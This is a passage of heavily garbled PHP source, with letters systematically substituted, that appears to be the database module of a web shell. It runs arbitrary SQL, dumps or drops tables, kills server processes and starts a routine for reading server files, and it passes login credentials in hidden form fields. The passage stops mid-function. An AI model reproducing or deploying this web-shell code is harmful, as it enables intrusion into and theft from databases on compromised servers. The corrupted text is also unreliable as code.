)s2l$2#ery + &B4JAC@ \&.)s2l$t1l.&\ S@C &.)set.& P5@?@ &.)s2l$t1l$insert$2.&
LFMFC 1,&,
)res#lt + mys2l$2#ery!)s2l$2#ery' or print!mys2l$smarterror!'',
)res#lt + mys2l$etch$array!)res#lt* MKSAL$ASS6D',
)s2l$act + &2#ery&,
)s2l$t1l$act + &1ro3se&,
.
.
i !)s2l$act ++ &2#ery&'
(
echo &<hr siWe+M&1M& noshade:&,
i !!)s#1mit' and !")s2l$2#ery$res#lt' and !)s2l$conirm'' (i !"
)s2l$2#ery$error' ()s2l$2#ery$error + &A#ery 3as empty&,. echo &<1:@rrorL</1:
<1r:&.)s2l$2#ery$error.&<1r:&,.
i !)s2l$2#ery$res#lt or !")s2l$conirm'' ()s2l$act + )s2l$goto,.
i !!")s#1mit' or !)s2l$act'' (echo &<ta1le 1order+M&0M& 3idth+M&100TM&
height+M&1M&:<tr:<td:<orm action+M&&.)s2l$s#rl.&M& method+M&46SCM&:<1:&, i
!!)s2l$2#ery' and !")s#1mit'' (echo &Jo yo# really 3ant toL&,. else (echo &SAL-
A#ery L&,. echo &</1:<1r:<1r:<te%tarea name+M&s2l$2#eryM& cols+M&100M&
ro3s+M&10M&:&.htmlspecialchars!)s2l$2#ery'.&</te%tarea:<1r:<1r:<inp#t
type+M&hiddenM& name+M&s2l$actM& val#e+M&2#eryM&:<inp#t type+M&hiddenM&
name+M&s2l$t1lM& val#e+M&&.htmlspecialchars!)s2l$t1l'.&M&:<inp#t type+M&hiddenM&
name+M&s#1mitM& val#e+M&1M&:<inp#t type+M&hiddenM& name+M&s2l$gotoM&
val#e+M&&.htmlspecialchars!)s2l$goto'.&M&:<inp#t type+M&s#1mitM&
name+M&s2l$conirmM& val#e+M&KesM&:8n1sp,<inp#t type+M&s#1mitM&
val#e+M&HoM&:</orm:</td:</tr:</ta1le:&,.
.
i !in$array!)s2l$act*)acts''
(
?:<ta1le 1order+&0& 3idth+&100T& height+&1&:<tr:<td 3idth+&70T&
height+&1&:<1:Dreate ne3 ta1leL</1:<orm action+&<?php echo )s#rl, ?:&:<inp#t
type+&hidden& name+&act& val#e+&s2l&:<inp#t type+&hidden& name+&s2l$act&
val#e+&ne3t1l&:<inp#t type+&hidden& name+&s2l$d1& val#e+&<?php echo
htmlspecialchars!)s2l$d1', ?:&:<inp#t type+&hidden& name+&s2l$login& val#e+&<?php
echo htmlspecialchars!)s2l$login', ?:&:<inp#t type+&hidden& name+&s2l$pass3d&
val#e+&<?php echo htmlspecialchars!)s2l$pass3d', ?:&:<inp#t type+&hidden&
name+&s2l$server& val#e+&<?php echo htmlspecialchars!)s2l$server', ?:&:<inp#t
type+&hidden& name+&s2l$port& val#e+&<?php echo htmlspecialchars!)s2l$port', ?
:&:<inp#t type+&te%t& name+&s2l$ne3t1l& siWe+&G0&:8n1sp,<inp#t type+&s#1mit&
val#e+&Dreate&:</orm:</td:<td 3idth+&70T& height+&1&:<1:J#mp J<L</1:<orm
action+&<?php echo )s#rl, ?:&:<inp#t type+&hidden& name+&act& val#e+&s2l&:<inp#t
type+&hidden& name+&s2l$act& val#e+&d#mp&:<inp#t type+&hidden& name+&s2l$d1&
val#e+&<?php echo htmlspecialchars!)s2l$d1', ?:&:<inp#t type+&hidden&
name+&s2l$login& val#e+&<?php echo htmlspecialchars!)s2l$login', ?:&:<inp#t
type+&hidden& name+&s2l$pass3d& val#e+&<?php echo htmlspecialchars!)s2l$pass3d', ?
:&:<inp#t type+&hidden& name+&s2l$server& val#e+&<?php echo
htmlspecialchars!)s2l$server', ?:&:<inp#t type+&hidden& name+&s2l$port& val#e+&<?
php echo htmlspecialchars!)s2l$port', ?:&:<inp#t type+&te%t& name+&d#mp$ile&
siWe+&70& val#e+&<?php echo &d#mp$&.)S@?X@?$HAM@.&$&.)s2l$d1.&$&.date!&d-m-K-5-i-
s&'.&.s2l&, ?:&:8n1sp,<inp#t type+&s#1mit& name+M&s#1mitM&
val#e+&J#mp&:</orm:</td:<td 3idth+&70T& height+&1&:</td:</tr:<tr:<td 3idth+&70T&
height+&1&:</td:<td 3idth+&70T& height+&1&:</td:<td 3idth+&70T&
height+&1&:</td:</tr:</ta1le:<?php
i !"empty!)s2l$act'' (echo &<hr siWe+M&1M& noshade:&,.
i !)s2l$act ++ &ne3t1l&'
(
echo &<1:&,
i !!mys2l$create$d1 !)s2l$ne3d1'' and !"empty!)s2l$ne3d1''' (echo
&J< M&&.htmlspecialchars!)s2l$ne3d1'.&M& has 1een created 3ith s#ccess"</1:<1r:&,
.
else (echo &DanOt create
J< M&&.htmlspecialchars!)s2l$ne3d1'.&M&.<1r:?easonL</1: &.mys2l$smarterror!',.
.
elsei !)s2l$act ++ &d#mp&'
(
i !empty!)s#1mit''
(
)diplay + alse,
echo &<orm method+M&;@CM&:<inp#t type+M&hiddenM& name+M&actM&
val#e+M&s2lM&:<inp#t type+M&hiddenM& name+M&s2l$actM& val#e+M&d#mpM&:<inp#t
type+M&hiddenM& name+M&s2l$d1M& val#e+M&&.htmlspecialchars!)s2l$d1'.&M&:<inp#t
type+M&hiddenM& name+M&s2l$loginM&
val#e+M&&.htmlspecialchars!)s2l$login'.&M&:<inp#t type+M&hiddenM&
name+M&s2l$pass3dM& val#e+M&&.htmlspecialchars!)s2l$pass3d'.&M&:<inp#t
type+M&hiddenM& name+M&s2l$serverM&
val#e+M&&.htmlspecialchars!)s2l$server'.&M&:<inp#t type+M&hiddenM&
name+M&s2l$portM& val#e+M&&.htmlspecialchars!)s2l$port'.&M&:<inp#t type+M&hiddenM&
name+M&s2l$t1lM& val#e+M&&.htmlspecialchars!)s2l$t1l'.&M&:<1:SAL-
J#mpL</1:<1r:<1r:&,
echo &<1:J<L</1:8n1sp,<inp#t type+M&te%tM& name+M&s2l$d1M&
val#e+M&&.#rlencode!)s2l$d1'.&M&:<1r:<1r:&,
)v + Voin !&,&*)dmpt1ls',
echo &<1:6nly ta1les
!e%plode M&,M&'8n1sp,<1:<s#p:1</s#p:</1:L</1:8n1sp,<inp#t type+M&te%tM&
name+M&dmpt1lsM& val#e+M&&.htmlspecialchars!)v'.&M& siWe+M&&.!strlen!)v'
-/'.&M&:<1r:<1r:&,
i !)d#mp$ile' ()tmp + )d#mp$ile,.
else ()tmp + htmlspecialchars!&./d#mp$&.)S@?X@?$HAM@.&$&.)s2l$d1.&$&.date!&d-
m-K-5-i-s&'.&.s2l&',.
echo &<1:IileL</1:8n1sp,<inp#t type+M&te%tM& name+M&s2l$d#mp$ileM&
val#e+M&&.)tmp.&M& siWe+M&&.!strlen!)tmp'-strlen!)tmp' T 70'.&M&:<1r:<1r:&,
echo &<1:Jo3nloadL </1:8n1sp,<inp#t type+M&chec91o%M&
name+M&s2l$d#mp$do3nloadM& val#e+M&1M& chec9ed:<1r:<1r:&,
echo &<1:Save to ileL </1:8n1sp,<inp#t type+M&chec91o%M&
name+M&s2l$d#mp$savetoileM& val#e+M&1M& chec9ed:&,
echo &<1r:<1r:<inp#t type+M&s#1mitM& name+M&s#1mitM&
val#e+M&J#mpM&:<1r:<1r:<1:<s#p:1</s#p:</1: - all* i empty&,
echo &</orm:&,
.
else
(
)diplay + tr#e,
)set + array!',
)set=&soc9&> + )s2l$soc9,
)set=&d1&> + )s2l$d1,
)d#mp$o#t + &do3nload&,
)set=&print&> + 0,
)set=&nlG1r&> + 0,
)set=&&> + 0,
)set=&ile&> + )d#mp$ile,
)set=&add$drop&> + tr#e,
)set=&onlyta1s&> + array!',
i !"empty!)dmpt1ls'' ()set=&onlyta1s&> + e%plode!&,&*)dmpt1ls',.
)ret + mys2l$d#mp!)set',
i !)s2l$d#mp$do3nload'
(
0o1$clean!',
header!&Dontent-typeL application/octet-stream&',
header!&Dontent-lengthL &.strlen!)ret'',
header!&Dontent-dispositionL attachment,
ilename+M&&.1asename!)s2l$d#mp$ile'.&M&,&',
echo )ret,
e%it,
.
elsei !)s2l$d#mp$savetoile'
(
)p + open!)s2l$d#mp$ile*&3&',
i !")p' (echo &<1:J#mp error" DanOt 3rite
to M&&.htmlspecialchars!)s2l$d#mp$ile'.&M&"&,.
else
(
3rite!)p*)ret',
close!)p',
echo &<1:J#mped" J#mp has 1een 3rited
to M&&.htmlspecialchars!realpath!)s2l$d#mp$ile''.&M&
!&.vie3$siWe!ilesiWe!)s2l$d#mp$ile''.&'</1:.&,
.
.
else (echo &<1:J#mpL nothing to do"</1:&,.
.
.
i !)diplay'
(
i !"empty!)s2l$t1l''
(
i !empty!)s2l$t1l$act'' ()s2l$t1l$act + &1ro3se&,.
)co#nt + mys2l$2#ery!&S@L@DC D6BHC!*' I?6M \&.)s2l$t1l.&\,&',
)co#nt$ro3 + mys2l$etch$array!)co#nt',
mys2l$ree$res#lt!)co#nt',
)t1l$str#ct$res#lt + mys2l$2#ery!&S56P IF@LJS I?6M \&.)s2l$t1l.&\,&',
)t1l$str#ct$ields + array!',
3hile !)ro3 + mys2l$etch$assoc!)t1l$str#ct$res#lt'' ()t1l$str#ct$ields=> +
)ro3,.
i !)s2l$ls : )s2l$le' ()s2l$le + )s2l$ls - )perpage,.
i !empty!)s2l$t1l$page'' ()s2l$t1l$page + 0,.
i !empty!)s2l$t1l$ls'' ()s2l$t1l$ls + 0,.
i !empty!)s2l$t1l$le'' ()s2l$t1l$le + 70,.
)perpage + )s2l$t1l$le - )s2l$t1l$ls,
i !"is$n#meric!)perpage'' ()perpage + 10,.
)n#mpages + )co#nt$ro3=0>/)perpage,
)e + e%plode!& &*)s2l$order',
i !co#nt!)e' ++ G'
(
i !)e=0> ++ &d&' ()asc$desc + &J@SD&,.
else ()asc$desc + &ASD&,.
)v + &6?J@? <K \&.)e=1>.&\ &.)asc$desc.& &,
.
else ()v + &&,.
)2#ery + &S@L@DC * I?6M \&.)s2l$t1l.&\ &.)v.&LFMFC &.)s2l$t1l$ls.& * &.
)perpage.&&,
)res#lt + mys2l$2#ery!)2#ery' or print!mys2l$smarterror!'',
echo &<hr siWe+M&1M& noshade:<center:<1:Ca1le &.htmlspecialchars!)s2l$t1l'.&
!&.mys2l$n#m$ields!)res#lt'.& cols and &.)co#nt$ro3=0>.& ro3s'</1:</center:&,
echo &<a hre+M&&.
)s2l$s#rl.&s2l$t1l+&.#rlencode!)s2l$t1l'.&8s2l$t1l$act+str#ct#reM&:=8n1sp,<1:Str#c
t#re</1:8n1sp,></a:8n1sp,8n1sp,8n1sp,&,
echo &<a hre+M&&.
)s2l$s#rl.&s2l$t1l+&.#rlencode!)s2l$t1l'.&8s2l$t1l$act+1ro3seM&:=8n1sp,<1:<ro3se</
1:8n1sp,></a:8n1sp,8n1sp,8n1sp,&,
echo &<a hre+M&&.
)s2l$s#rl.&s2l$t1l+&.#rlencode!)s2l$t1l'.&8s2l$act+t1ld#mp8thist1l+1M&:=8n1sp,<1:J
#mp</1:8n1sp,></a:8n1sp,8n1sp,8n1sp,&,
echo &<a hre+M&&.
)s2l$s#rl.&s2l$t1l+&.#rlencode!)s2l$t1l'.&8s2l$t1l$act+insertM&:=8n1sp,<1:Fnsert</
1:8n1sp,></a:8n1sp,8n1sp,8n1sp,&,
i !)s2l$t1l$act ++ &str#ct#re&' (echo &<1r:<1r:<1:Doming sooon"</1:&,.
i !)s2l$t1l$act ++ &insert&'
(
i !"is$array!)s2l$t1l$insert'' ()s2l$t1l$insert + array!',.
i !"empty!)s2l$t1l$insert$radio''
(
.
else
(
echo &<1r:<1r:<1:Fnserting ro3 into ta1leL</1:<1r:&,
i !"empty!)s2l$t1l$insert$2''
(
)s2l$2#ery + &S@L@DC * I?6M \&.)s2l$t1l.&\&,
)s2l$2#ery .+ & P5@?@&.)s2l$t1l$insert$2,
)s2l$2#ery .+ & LFMFC 1,&,
)res#lt + mys2l$2#ery!)s2l$2#ery*)s2l$soc9' or
print!&<1r:<1r:&.mys2l$smarterror!'',
)val#es + mys2l$etch$assoc!)res#lt',
mys2l$ree$res#lt!)res#lt',
.
else ()val#es + array!',.
echo &<orm method+M&46SCM&:<CA<L@ cellSpacing+0 1orderDolorJar9+ZNNNNNN
cell4adding+/ 3idth+M&1TM& 1gDolor+Z777777 1orderDolorLight+Zc0c0c0
1order+1:<tr:<td:<1:Iield</1:</td:<td:<1:Cype</1:</td:<td:<1:I#nction</1:</td:<td:
<1:Xal#e</1:</td:</tr:&,
oreach !)t1l$str#ct$ields as )ield'
(
)name + )ield=&Iield&>,
i !empty!)s2l$t1l$insert$2'' ()v + &&,.
echo &<tr:<td:<1:&.htmlspecialchars!)name'.&</1:</td:<td:&.
)ield=&Cype&>.&</td:<td:<select
name+M&s2l$t1l$insert$#ncts=&.htmlspecialchars!)name'.&>M&:<option
val#e+M&M&:</option:<option:4ASSP6?J</option:<option:MJ/</option:<option:@HD?K4C</
option:<option:ASDFF</option:<option:D5A?</option:<option:?AHJ</option:<option:LAS
C$FHS@?C$FJ</option:<option:D6BHC</option:<option:AX;</option:<option:SBM</option:
<option val#e+M&M&:--------
</option:<option:S6BHJ@S</option:<option:LDAS@</option:<option:BDAS@</option:<opti
on:H6P</option:<option:DB?JAC@</option:<option:DB?CFM@</option:<option:I?6M$JAKS</
option:<option:I?6M$BHFSCFM@</option:<option:4@?F6J$AJJ</option:<option:4@?F6J$JFI
I</option:<option:C6$JAKS</option:<option:BHFS$CFM@SCAM4</option:<option:BS@?</opt
ion:<option:P@@EJAK</option:<option:D6HDAC</option:</select:</td:<td:<inp#t
type+M&te%tM& name+M&s2l$t1l$insert=&.htmlspecialchars!)name'.&>M&
val#e+M&&.htmlspecialchars!)val#es=)name>'.&M& siWe+/0:</td:</tr:&,
)i--,
.
echo &</ta1le:<1r:&,
echo &<inp#t type+M&radioM& name+M&s2l$t1l$insert$radioM& val#e+M&1M&&, i
!empty!)s2l$t1l$insert$2'' (echo & chec9ed&,. echo &:<1:Fnsert as ne3 ro3</1:&,
i !"empty!)s2l$t1l$insert$2'' (echo & or <inp#t type+M&radioM&
name+M&s2l$t1l$insert$radioM& val#e+M&GM& chec9ed:<1:Save</1:&, echo &<inp#t
type+M&hiddenM& name+M&s2l$t1l$insert$2M&
val#e+M&&.htmlspecialchars!)s2l$t1l$insert$2'.&M&:&,.
echo &<1r:<1r:<inp#t type+M&s#1mitM& val#e+M&DonirmM&:</orm:&,
.
.
i !)s2l$t1l$act ++ &1ro3se&'
(
)s2l$t1l$ls + a1s!)s2l$t1l$ls',
)s2l$t1l$le + a1s!)s2l$t1l$le',
echo &<hr siWe+M&1M& noshade:&,
echo &<img src+M&&.)s#rl.&act+img8img+m#ltipageM& height+M&1GM& 3idth+M&10M&
alt+M&4agesM&:8n1sp,&,
)1 + 0,
or!)i+0,)i<)n#mpages,)i--'
(
i !!)i*)perpage "+ )s2l$t1l$ls' or !)i*)perpage-)perpage "+ )s2l$t1l$le''
(echo &<a hre+M&&.
)s2l$s#rl.&s2l$t1l+&.#rlencode!)s2l$t1l'.&8s2l$order+&.htmlspecialchars!)s2l$order
'.&8s2l$t1l$ls+&.!)i*)perpage'.&8s2l$t1l$le+&.!)i*)perpage-)perpage'.&M&:<#:&,.
echo )i,
i !!)i*)perpage "+ )s2l$t1l$ls' or !)i*)perpage-)perpage "+ )s2l$t1l$le''
(echo &</#:</a:&,.
i !!)i/70 ++ ro#nd!)i/70'' and !)i : 0'' (echo &<1r:&,.
else (echo &8n1sp,&,.
.
i !)i ++ 0' (echo &empty&,.
echo &<orm method+M&;@CM&:<inp#t type+M&hiddenM& name+M&actM&
val#e+M&s2lM&:<inp#t type+M&hiddenM& name+M&s2l$d1M&
val#e+M&&.htmlspecialchars!)s2l$d1'.&M&:<inp#t type+M&hiddenM& name+M&s2l$loginM&
val#e+M&&.htmlspecialchars!)s2l$login'.&M&:<inp#t type+M&hiddenM&
name+M&s2l$pass3dM& val#e+M&&.htmlspecialchars!)s2l$pass3d'.&M&:<inp#t
type+M&hiddenM& name+M&s2l$serverM&
val#e+M&&.htmlspecialchars!)s2l$server'.&M&:<inp#t type+M&hiddenM&
name+M&s2l$portM& val#e+M&&.htmlspecialchars!)s2l$port'.&M&:<inp#t type+M&hiddenM&
name+M&s2l$t1lM& val#e+M&&.htmlspecialchars!)s2l$t1l'.&M&:<inp#t type+M&hiddenM&
name+M&s2l$orderM&
val#e+M&&.htmlspecialchars!)s2l$order'.&M&:<1:IromL</1:8n1sp,<inp#t type+M&te%tM&
name+M&s2l$t1l$lsM& val#e+M&&.)s2l$t1l$ls.&M&:8n1sp,<1:CoL</1:8n1sp,<inp#t
type+M&te%tM& name+M&s2l$t1l$leM& val#e+M&&.)s2l$t1l$le.&M&:8n1sp,<inp#t
type+M&s#1mitM& val#e+M&Xie3M&:</orm:&,
echo &<1r:<orm method+M&46SCM&:<CA<L@ cellSpacing+0 1orderDolorJar9+ZNNNNNN
cell4adding+/ 3idth+M&1TM& 1gDolor+Z777777 1orderDolorLight+Zc0c0c0 1order+1:&,
echo &<tr:&,
echo &<td:<inp#t type+M&chec91o%M& name+M&1o%ro3$allM& val#e+M&1M&:</td:&,
or !)i+0,)i<mys2l$n#m$ields!)res#lt',)i--'
(
)v + mys2l$ield$name!)res#lt*)i',
i !)e=0> ++ &a&' ()s + &d&, )m + &asc&,.
else ()s + &a&, )m + &desc&,.
echo &<td:&,
i !empty!)e=0>'' ()e=0> + &a&,.
i !)e=1> "+ )v' (echo &<a hre+M&&.)s2l$s#rl.&s2l$t1l+&.
)s2l$t1l.&8s2l$t1l$le+&.)s2l$t1l$le.&8s2l$t1l$ls+&.)s2l$t1l$ls.&8s2l$order+&.
)e=0>.&TG0&.)v.&M&:<1:&.)v.&</1:</a:&,.
else (echo &<1:&.)v.&</1:<a hre+M&&.)s2l$s#rl.&s2l$t1l+&.
)s2l$t1l.&8s2l$t1l$le+&.)s2l$t1l$le.&8s2l$t1l$ls+&.)s2l$t1l$ls.&8s2l$order+&.
)s.&TG0&.)v.&M&:<img src+M&&.)s#rl.&act+img8img+sort$&.)m.&M& height+M&9M&
3idth+M&1UM& alt+M&&.)m.&M&:</a:&,.
echo &</td:&,
.
echo &<td:<ont color+M&greenM&:<1:Action</1:</ont:</td:&,
echo &</tr:&,
3hile !)ro3 + mys2l$etch$array!)res#lt* MKSAL$ASS6D''
(
echo &<tr:&,
)3 + &&,
)i + 0,
oreach !)ro3 as )9+:)v' ()name + mys2l$ield$name!)res#lt*)i', )3 .+ & \&.
)name.&\ + O&.addslashes!)v'.&O AHJ&, )i--,.
i !co#nt!)ro3' : 0' ()3 + s#1str!)3*0*strlen!)3'-7',.
echo &<td:<inp#t type+M&chec91o%M& name+M&1o%ro3=>M& val#e+M&&.
)3.&M&:</td:&,
)i + 0,
oreach !)ro3 as )9+:)v'
(
)v + htmlspecialchars!)v',
i !)v ++ &&' ()v + &<ont color+M&greenM&:HBLL</ont:&,.
echo &<td:&.)v.&</td:&,
)i--,
.
echo &<td:&,
echo &<a hre+M&&.
)s2l$s#rl.&s2l$act+2#ery8s2l$t1l+&.#rlencode!)s2l$t1l'.&8s2l$t1l$ls+&.
)s2l$t1l$ls.&8s2l$t1l$le+&.)s2l$t1l$le.&8s2l$2#ery+&.#rlencode!&J@L@C@ I?6M \&.
)s2l$t1l.&\ P5@?@&.)3.& LFMFC 1,&'.&M&:<img src+M&&.
)s#rl.&act+img8img+s2l$1#tton$dropM& alt+M&JeleteM& height+M&17M& 3idth+M&11M&
1order+M&0M&:</a:8n1sp,&,
echo &<a hre+M&&.
)s2l$s#rl.&s2l$t1l$act+insert8s2l$t1l+&.#rlencode!)s2l$t1l'.&8s2l$t1l$ls+&.
)s2l$t1l$ls.&8s2l$t1l$le+&.)s2l$t1l$le.&8s2l$t1l$insert$2+&.#rlencode!)3'.&M&:<img
src+M&&.)s#rl.&act+img8img+changeM& alt+M&@ditM& height+M&1UM& 3idth+M&1UM&
1order+M&0M&:</a:8n1sp,&,
echo &</td:&,
echo &</tr:&,
.
mys2l$ree$res#lt!)res#lt',
echo &</ta1le:<hr siWe+M&1M& noshade:<p align+M&letM&:<img src+M&&.
)s#rl.&act+img8img+arro3$ltrM& 1order+M&0M&:<select name+M&s2l$actM&:&,
echo &<option val#e+M&M&:Pith selectedL</option:&,
echo &<option val#e+M&deletero3M&:Jelete</option:&,
echo &</select:8n1sp,<inp#t type+M&s#1mitM& val#e+M&DonirmM&:</orm:</p:&,
.
.
else
(
)res#lt + mys2l$2#ery!&S56P CA<L@ SCACBS&* )s2l$soc9',
i !")res#lt' (echo mys2l$smarterror!',.
else
(
echo &<1r:<orm method+M&46SCM&:<CA<L@ cellSpacing+0 1orderDolorJar9+ZNNNNNN
cell4adding+/ 3idth+M&100TM& 1gDolor+Z777777 1orderDolorLight+Zc0c0c0
1order+1:<tr:<td:<inp#t type+M&chec91o%M& name+M&1o%t1l$allM&
val#e+M&1M&:</td:<td:<center:<1:Ca1le</1:</center:</td:<td:<1:?o3s</1:</td:<td:<1:
Cype</1:</td:<td:<1:Dreated</1:</td:<td:<1:Modiied</1:</td:<td:<1:SiWe</1:</td:<t
d:<1:Action</1:</td:</tr:&,
)i + 0,
)tsiWe + )tro3s + 0,
3hile !)ro3 + mys2l$etch$array!)res#lt* MKSAL$ASS6D''
(
)tsiWe -+ )ro3=&Jata$length&>,
)tro3s -+ )ro3=&?o3s&>,
)siWe + vie3$siWe!)ro3=&Jata$length&>',
echo &<tr:&,
echo &<td:<inp#t type+M&chec91o%M& name+M&1o%t1l=>M& val#e+M&&.
)ro3=&Hame&>.&M&:</td:&,
echo &<td:8n1sp,<a hre+M&&.
)s2l$s#rl.&s2l$t1l+&.#rlencode!)ro3=&Hame&>'.&M&:<1:&.
)ro3=&Hame&>.&</1:</a:8n1sp,</td:&,
echo &<td:&.)ro3=&?o3s&>.&</td:&,
echo &<td:&.)ro3=&Cype&>.&</td:&,
echo &<td:&.)ro3=&Dreate$time&>.&</td:&,
echo &<td:&.)ro3=&Bpdate$time&>.&</td:&,
echo &<td:&.)siWe.&</td:&,
echo &<td:8n1sp,<a hre+M&&.
)s2l$s#rl.&s2l$act+2#ery8s2l$2#ery+&.#rlencode!&J@L@C@ I?6M \&.
)ro3=&Hame&>.&\&'.&M&:<img src+M&&.)s#rl.&act+img8img+s2l$1#tton$emptyM&
alt+M&@mptyM& height+M&17M& 3idth+M&11M& 1order+M&0M&:</a:8n1sp,8n1sp,<a hre+M&&.
)s2l$s#rl.&s2l$act+2#ery8s2l$2#ery+&.#rlencode!&J?64 CA<L@ \&.
)ro3=&Hame&>.&\&'.&M&:<img src+M&&.)s#rl.&act+img8img+s2l$1#tton$dropM&
alt+M&JropM& height+M&17M& 3idth+M&11M& 1order+M&0M&:</a:8n1sp,<a hre+M&&.
)s2l$s#rl.&s2l$t1l$act+insert8s2l$t1l+&.)ro3=&Hame&>.&M&:<img src+M&&.
)s#rl.&act+img8img+s2l$1#tton$insertM& alt+M&FnsertM& height+M&17M& 3idth+M&11M&
1order+M&0M&:</a:8n1sp,</td:&,
echo &</tr:&,
)i--,
.
echo &<tr 1gcolor+M&000000M&:&,
echo &<td:<center:<1:]</1:</center:</td:&,
echo &<td:<center:<1:&.)i.& ta1le!s'</1:</center:</td:&,
echo &<td:<1:&.)tro3s.&</1:</td:&,
echo &<td:&.)ro3=1>.&</td:&,
echo &<td:&.)ro3=10>.&</td:&,
echo &<td:&.)ro3=11>.&</td:&,
echo &<td:<1:&.vie3$siWe!)tsiWe'.&</1:</td:&,
echo &<td:</td:&,
echo &</tr:&,
echo &</ta1le:<hr siWe+M&1M& noshade:<p align+M&rightM&:<img src+M&&.
)s#rl.&act+img8img+arro3$ltrM& 1order+M&0M&:<select name+M&s2l$actM&:&,
echo &<option val#e+M&M&:Pith selectedL</option:&,
echo &<option val#e+M&t1ldropM&:Jrop</option:&,
echo &<option val#e+M&t1lemptyM&:@mpty</option:&,
echo &<option val#e+M&t1ld#mpM&:J#mp</option:&,
echo &<option val#e+M&t1lchec9M&:Dhec9 ta1le</option:&,
echo &<option val#e+M&t1loptimiWeM&:6ptimiWe ta1le</option:&,
echo &<option val#e+M&t1lrepairM&:?epair ta1le</option:&,
echo &<option val#e+M&t1lanalyWeM&:AnalyWe ta1le</option:&,
echo &</select:8n1sp,<inp#t type+M&s#1mitM& val#e+M&DonirmM&:</orm:</p:&,
mys2l$ree$res#lt!)res#lt',
.
.
.
.
.
else
(
)acts + array!&&*&ne3d1&*&serverstat#s&*&servervars&*&processes&*&getile&',
i !in$array!)s2l$act*)acts'' (?:<ta1le 1order+&0& 3idth+&100T&
height+&1&:<tr:<td 3idth+&70T& height+&1&:<1:Dreate ne3 J<L</1:<orm action+&<?php
echo )s#rl, ?:&:<inp#t type+&hidden& name+&act& val#e+&s2l&:<inp#t type+&hidden&
name+&s2l$act& val#e+&ne3d1&:<inp#t type+&hidden& name+&s2l$login& val#e+&<?php
echo htmlspecialchars!)s2l$login', ?:&:<inp#t type+&hidden& name+&s2l$pass3d&
val#e+&<?php echo htmlspecialchars!)s2l$pass3d', ?:&:<inp#t type+&hidden&
name+&s2l$server& val#e+&<?php echo htmlspecialchars!)s2l$server', ?:&:<inp#t
type+&hidden& name+&s2l$port& val#e+&<?php echo htmlspecialchars!)s2l$port', ?
:&:<inp#t type+&te%t& name+&s2l$ne3d1& siWe+&G0&:8n1sp,<inp#t type+&s#1mit&
val#e+&Dreate&:</orm:</td:<td 3idth+&70T& height+&1&:<1:Xie3 IileL</1:<orm
action+&<?php echo )s#rl, ?:&:<inp#t type+&hidden& name+&act& val#e+&s2l&:<inp#t
type+&hidden& name+&s2l$act& val#e+&getile&:<inp#t type+&hidden& name+&s2l$login&
val#e+&<?php echo htmlspecialchars!)s2l$login', ?:&:<inp#t type+&hidden&
name+&s2l$pass3d& val#e+&<?php echo htmlspecialchars!)s2l$pass3d', ?:&:<inp#t
type+&hidden& name+&s2l$server& val#e+&<?php echo htmlspecialchars!)s2l$server', ?
:&:<inp#t type+&hidden& name+&s2l$port& val#e+&<?php echo
htmlspecialchars!)s2l$port', ?:&:<inp#t type+&te%t& name+&s2l$getile& siWe+&70&
val#e+&<?php echo htmlspecialchars!)s2l$getile', ?:&:8n1sp,<inp#t type+&s#1mit&
val#e+&;et&:</orm:</td:<td 3idth+&70T& height+&1&:</td:</tr:<tr:<td 3idth+&70T&
height+&1&:</td:<td 3idth+&70T& height+&1&:</td:<td 3idth+&70T&
height+&1&:</td:</tr:</ta1le:<?php .
i !"empty!)s2l$act''
(
echo &<hr siWe+M&1M& noshade:&,
i !)s2l$act ++ &ne3d1&'
(
echo &<1:&,
i !!mys2l$create$d1 !)s2l$ne3d1'' and !"empty!)s2l$ne3d1''' (echo
&J< M&&.htmlspecialchars!)s2l$ne3d1'.&M& has 1een created 3ith s#ccess"</1:<1r:&,.
else (echo &DanOt create
J< M&&.htmlspecialchars!)s2l$ne3d1'.&M&.<1r:?easonL</1: &.mys2l$smarterror!',.
.
i !)s2l$act ++ &serverstat#s&'
(
)res#lt + mys2l$2#ery!&S56P SCACBS&* )s2l$soc9',
echo &<center:<1:Server-stat#s varia1lesL</1:<1r:<1r:&,
echo &<CA<L@ cellSpacing+0 cell4adding+0 1gDolor+Z777777
1orderDolorLight+Z777777 1order+1:<td:<1:Hame</1:</td:<td:<1:Xal#e</1:</td:</tr:&,
3hile !)ro3 + mys2l$etch$array!)res#lt* MKSAL$HBM'' (echo &<tr:<td:&.
)ro3=0>.&</td:<td:&.)ro3=1>.&</td:</tr:&,.
echo &</ta1le:</center:&,
mys2l$ree$res#lt!)res#lt',
.
i !)s2l$act ++ &servervars&'
(
)res#lt + mys2l$2#ery!&S56P XA?FA<L@S&* )s2l$soc9',
echo &<center:<1:Server varia1lesL</1:<1r:<1r:&,
echo &<CA<L@ cellSpacing+0 cell4adding+0 1gDolor+Z777777
1orderDolorLight+Z777777 1order+1:<td:<1:Hame</1:</td:<td:<1:Xal#e</1:</td:</tr:&,
3hile !)ro3 + mys2l$etch$array!)res#lt* MKSAL$HBM'' (echo &<tr:<td:&.
)ro3=0>.&</td:<td:&.)ro3=1>.&</td:</tr:&,.
echo &</ta1le:&,
mys2l$ree$res#lt!)res#lt',
.
i !)s2l$act ++ &processes&'
(
i !"empty!)9ill'' ()2#ery + &EFLL &.)9ill.&,&, )res#lt + mys2l$2#ery!)2#ery*
)s2l$soc9', echo &<1:Eilling process Z&.)9ill.&... o9. he is dead* amen.</1:&,.
)res#lt + mys2l$2#ery!&S56P 4?6D@SSLFSC&* )s2l$soc9',
echo &<center:<1:4rocessesL</1:<1r:<1r:&,
echo &<CA<L@ cellSpacing+0 cell4adding+G 1gDolor+Z777777
1orderDolorLight+Z777777
1order+1:<td:<1:FJ</1:</td:<td:<1:BS@?</1:</td:<td:<1:56SC</1:</td:<td:<1:J<</1:</
td:<td:<1:D6MMAHJ</1:</td:<td:<1:CFM@</1:</td:<td:<1:SCAC@</1:</td:<td:<1:FHI6</1:
</td:<td:<1:Action</1:</td:</tr:&,
3hile !)ro3 + mys2l$etch$array!)res#lt* MKSAL$HBM'' ( echo &<tr:<td:&.
)ro3=0>.&</td:<td:&.)ro3=1>.&</td:<td:&.)ro3=G>.&</td:<td:&.)ro3=7>.&</td:<td:&.
)ro3=U>.&</td:<td:&.)ro3=/>.&</td:<td:&.)ro3=N>.&</td:<td:&.)ro3=R>.&</td:<td:<a
hre+M&&.)s2l$s#rl.&s2l$act+processes89ill+&.
)ro3=0>.&M&:<#:Eill</#:</a:</td:</tr:&,.
echo &</ta1le:&,
mys2l$ree$res#lt!)res#lt',
.
i !)s2l$act ++ &getile&'
(
)tmpd1 + )s2l$login.&$tmpd1&,
)select + mys2l$select$d1!)tmpd1',
